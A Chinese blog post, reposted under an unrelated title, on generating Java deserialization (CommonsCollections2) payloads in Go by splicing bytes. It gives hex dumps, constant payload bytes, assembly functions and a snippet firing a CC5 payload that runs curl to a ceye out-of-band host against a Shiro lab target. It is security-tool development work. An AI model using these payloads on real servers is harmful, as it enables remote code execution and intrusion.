java代码大全及详解(java二进制表示)

最近用Go编写Java反序列化相关的扫描器,遇到一个难点:如何拿到根据命令生成的payload通过阅读已有开源工具的源码,发现大致有以下两种解决方案执行命令法使用命令执行ysoserial.jar,例如一些python工具用system,pop

最近用Go编写Java反序列化相关的扫描器,遇到一个难点:如何拿到根据命令生成的payload

通过阅读已有开源工具的源码,发现大致有以下两种解决方案

执行命令法

使用命令执行ysoserial.jar,例如一些python工具用system,popen等函数,拼接命令拿到输出

java代码大全及详解(java二进制表示)

  • 优点:最简单的实现,快速上手
  • 缺点:ysoserial.jar过大,并且依赖java环境,并不是很方便

直接用Java编写

很多工具直接采用Java编写,生成payload的部分可以脱离ysoserial.jar,结合反射和Javaassist技术做进一步的处理

java代码大全及详解(java二进制表示)

  • 优点:用Java来生成Java的payload是最标准的
  • 缺点:必须由Java编写的工具才可以

二进制角度构造

反序列化数据本身是有结构的,比如多次生成CC1的payload可以看到只有命令和命令前两字节有变化。前面两字节表示了命令的长度,所以我们直接拼接一下即可实现CC1

(图中0008表示命令长度,calc.exe是命令)

java代码大全及详解(java二进制表示)

其实更多的Payload并不是像CC1这么简单,比如构造TemplateImpl,过程较复杂

预备

笔者在ysoserial的PayloadRunner里写代码导出,并且打印一下HEX,方便比较

private static final char[] hexCode = \"0123456789ABCDEF\".toCharArray();
public static String printHexBinary(byte[] data) {
StringBuilder r = new StringBuilder(data.length * 2);
for (byte b : data) {
r.append(hexCode[(b >> 4) & 0xF]);
r.append(hexCode[(b & 0xF)]);
}
return r.toString();
}

public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
......
FileOutputStream fos = new FileOutputStream(\"cc2.bin\");
fos.write(ser);
System.out.println(printHexBinary(ser));
......

分析过程

分析生成的cc2.bin需要用xxd命令:xxd cc2.bin

第一处关键点:

0000 069c表示后面cafe babe开头的class文件长度,以此可以确定payload固定的开头部分。开头部分命名为globalPrefix,四字节的长度变量命名为dataLen

(如何确认到这里:肉眼审计,排除看上去是常量或系统函数的地方)

00000340: 6767 db37 0200 0078 7000 0000 0275 7200 gg.7...xp....ur.
00000350: 025b 42ac f317 f806 0854 e002 0000 7870 .[B......T....xp
00000360: 0000 069c cafe babe 0000 0032 0039 0a00 ...........2.9..
00000370: 0300 2207 0037 0700 2507 0026 0100 1073 ..\"..7..%..&...s

以此为根据找到class文件结束位置0x0364+0x069c=0x0a00,从0x364-0x0a00这一部分都是构造templatesImpl的二进制,观察到7571007e以后的部分都是常量,以此确认结尾部分是7571007e往后至结尾,命名为globalSuffix

000009f0: 0011 0000 000a 0001 0002 0023 0010 0009 ...........#....
00000a00: 7571 007e 0018 0000 01d4 cafe babe 0000 uq.~............
00000a10: 0032 001b 0a00 0300 1507 0017 0700 1807 .2..............
00000a20: 0019 0100 1073 6572 6961 6c56 6572 7369 .....serialVersi

继续从一开始的cafe babe审计至00000800: 000863616c632e657865,0008表示长度为8的命令calc.exe,以此确认从cafe babe开始的class文件的开头部分,命名为prefix

000007e0: 7469 6d65 0100 1528 294c 6a61 7661 2f6c time...()Ljava/l
000007f0: 616e 672f 5275 6e74 696d 653b 0c00 2c00 ang/Runtime;..,.
00000800: 2d0a 002b 002e 0100 0863 616c 632e 6578 -..+.....calc.ex
00000810: 6508 0030 0100 0465 7865 6301 0027 284c e..0...exec..\'(L

因此从0x0364-0x0806为常量:cafebabe…2b002e01

随后插入2字节的命令长度和命令本身,可以动态构造,分别命名为cmdLen和cmd

审计至0x0870,发现0x0871-0x087e和0x892-0x089f是两个相同的数字,长度14。经过多个操作系统的比较,发现这个数字可以是14,15,16。这个数字来源是系统时间,作用只是一个随机ID。所以我们可以生成随机的数字,随机数命名为randNum

在命令和随机数之间还有一部分多余的数据,我们将它命名为beforeRand

中间拼接的部分是0x087f-0x0891,也就是01001f4c79736f73657269616c2f50776e6572,分割符命名为split(其实ysoserial/Pwner这个字符串也是可以随机的,但没必要再做)

00000850: 000d 5374 6163 6b4d 6170 5461 626c 6501 ..StackMapTable.
00000860: 001d 7973 6f73 6572 6961 6c2f 5077 6e65 ..ysoserial/Pwne
00000870: 7237 3833 3834 3833 3035 3434 3731 3601 r78384830544716.
00000880: 001f 4c79 736f 7365 7269 616c 2f50 776e ..Lysoserial/Pwn
00000890: 6572 3738 3338 3438 3330 3534 3437 3136 er78384830544716
000008a0: 3b00 2100 0200 0300 0100 0400 0100 1a00 ;.!.............
000008b0: 0500 0600 0100 0700 0000 0200 0800 0400 ................

最后确认class文件的结尾部分,从0x08a0-0x09ff,固定格式3b002100…00100009,命名为suffix,至此可以成功构造出templatesImpl

3B002100020003000100040001001A000500060001000700000002000800040001000A000B000100
0C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C
000100000005000F003800000001001300140002000C0000003F0000000300000001B10000000200
0D00000006000100000034000E00000020000300000001000F003800000000000100150016000100
0000010017001800020019000000040001001A00010013001B0002000C0000004900000004000000
01B100000002000D00000006000100000038000E0000002A000400000001000F0038000000000001
00150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029
000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B100000001003600
0000030001030002002000000002002100110000000A00010002002300100009

实现

通过上文中的命名,可以得出一个简化后的实现函数

func GetCommonsCollections2(cmd string) []byte {
......
// dataLen取决于TemplateImpl的大小
// 在TemplateImpl中构造命令
// 其他都是常量
templateImpl := GetTemplateImpl(cmd)
dataLen := calcTemplateImpl(templateImpl)
......
return globalPrefix + dataLen + templateImpl + globalSuffix
}
func GetTemplateImpl(cmd string) []byte {
......
// cmd由用户输入
// cmdLen可以计算得出
// randNum可以随机出
// 其他都是常量
cmdLen := caclCmdLen(cmd)
randNum := getRandNum(cmd)
......
return prefix + cmdLen + cmd + beforeRand + randNum + split + randNum + suffix
}

测试

按照思路生成好之后,测试时先用ysoserial生成数据,xxd命令阅读得到随机数,把变量randNum替换

然后生成Payload进行判断,笔者调试过程遇到不少的坑,比如randNum忘记做hex.encode了

而其中cmdLen和dataLen变量其实是无法一眼看出的,笔者能够确认是因为跑了多次ysoserial,对比分析得出的结果

实践

笔者在github提交了比较完整的一个库:https://github.com/EmYiQing/Gososerial

该库支持了CC1-CC7,CCK1-CCK4,CB1这些链,并且经过了验证没有问题,可以做到ysoserial的效果

初步确定生成的payload没问题,进一步确认需要靶机

这里用了vulhub的shiro550反序列化靶机,用curl命令结合ceye平台,成功触发

(下图为笔者用golang编写的shiro检测小工具,调用了gososerial的函数,成功执行)

randStr = tool.GetRandomLetter(20)
payload = gososerial.GetCC5(\"curl \" + ceyeInfo.Identifier + \"/\" + randStr)
log.Info(\"check %s\", gadget.CC5)
SendPayload(key, payload, target)
if checkCeyeResp(ceyeInfo, randStr) {
log.Info(\"payload %s success\", gadget.CC5)
}

java代码大全及详解(java二进制表示)

总结

整个过程不难,但需要耐心和眼力

其他的反序列化链换汤不换药,甚至TomcatEcho也是类似的原理

因此安全开发者可以在不使用ysoserial的情况下,直接动态生成payload

另外文中这种半猜半测试的实现方式不妥,有兴趣的大佬可以参考java底层反序列化的实现,对二进制数据做进一步的分析和构造

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,请发送邮件至 55@qq.com 举报,一经查实,本站将立刻删除。转转请注明出处:https://www.szhjjp.com/n/28941.html

(0)
nan
上一篇 2021-09-24
下一篇 2021-09-24

相关推荐

  • 男性憋尿会引起什么毛病(男性憋尿会给身体带来什么毛病)

    在很多情况下,憋尿或许已经成为了一种习惯,但憋尿给身体带来的伤害也是十分大的。当男性憋尿时,都会引起一些什么样的毛病呢?男性憋尿会给身体造成什么毛病?和久久派小编一起来了解一下吧!憋尿的人,精神上往往

    2022-03-07
    0
  • 拼多多怎么退款申请(拼多多退款快吗)

    随着拼多多的崛起,很多用户选择在拼多多上购物,但收到商品之后,发现商品的质量与自己的预期相差很大,于是就想要发起退款、退货申请,但又不知道该如何操作,本期文章就说说使用拼多多退货、退款的流程。其实拼多多退货退款没有想象中那么复杂,如果商品处于未发货状

    2021-12-29 用户投稿
    0
  • 怎么查看自己的征信记录(个人能查自己的征信吗)

    怎么查看自己的征信记录?个人能查自己的征信吗,爱惜日带你了解相关信息。1手机APP查询各银行APP如下:(图来自网络)用招商银行APP查询,不会留下查询记录。2网银查询通过登录招商银行个人网银的方式进行查询。(图片来自网络)3征信中心查询通过互联网登录“中国人民银行征信中心”官网(www.pbccrc.org.cn)查询,要注册账号,还要安装数字证书等控件,有点小耐心

    2021-08-22 用户投稿
    0
  • 初学者模拟炒股软件(股票模拟训练软件app)

    初学者模拟炒股软件?股票模拟训练软件app,爱惜日带你了解相关信息。手机炒股APP特别多,每个人习惯性用的手机炒股软件不同,比如我自己的手机APP炒股软件是东方财富和海豚股票。至于手机炒股app排行情况,我根据个人的华为应用市场查看的手机炒股app排行榜如下:东方财富平安证券大智慧九方智投炒股金太阳爱炒股天风高财生益盟操盘手国泰君安弘万联证券股票开户益盟经典版新

    2021-09-05
    0
  • 热依扎男神是谁(热依扎是未婚生子吗)

    热依扎男神是谁,热依扎是未婚生子吗。久久派带你了解更多相关信息。12月5日,有媒体曝料称女星热依扎的老公身份疑似曝光,是某乐队的鼓手范博,今年9月就有网民曝料热依扎已经生下孩子,但并没有得到本人回应,她先前还发文自称滚圈家属。热依扎因出演

    2022-01-20
    0
  • 荀子原文及翻译及注释(荀子修身原文及翻译)

    行礼【原文】:见善,修然必以自存也;见不善,愀然必以自省也;善在身,介然必以自好也;不善在身,菑然必以自恶也。故非我而当者,吾师也;是我而当者,吾友也;谄谀我者,吾贼也。故君子隆师而亲友,以致恶其贼;好善无厌,受谏而能诫,虽欲无进,得乎哉

    2021-11-28
    0

发表回复

登录后才能评论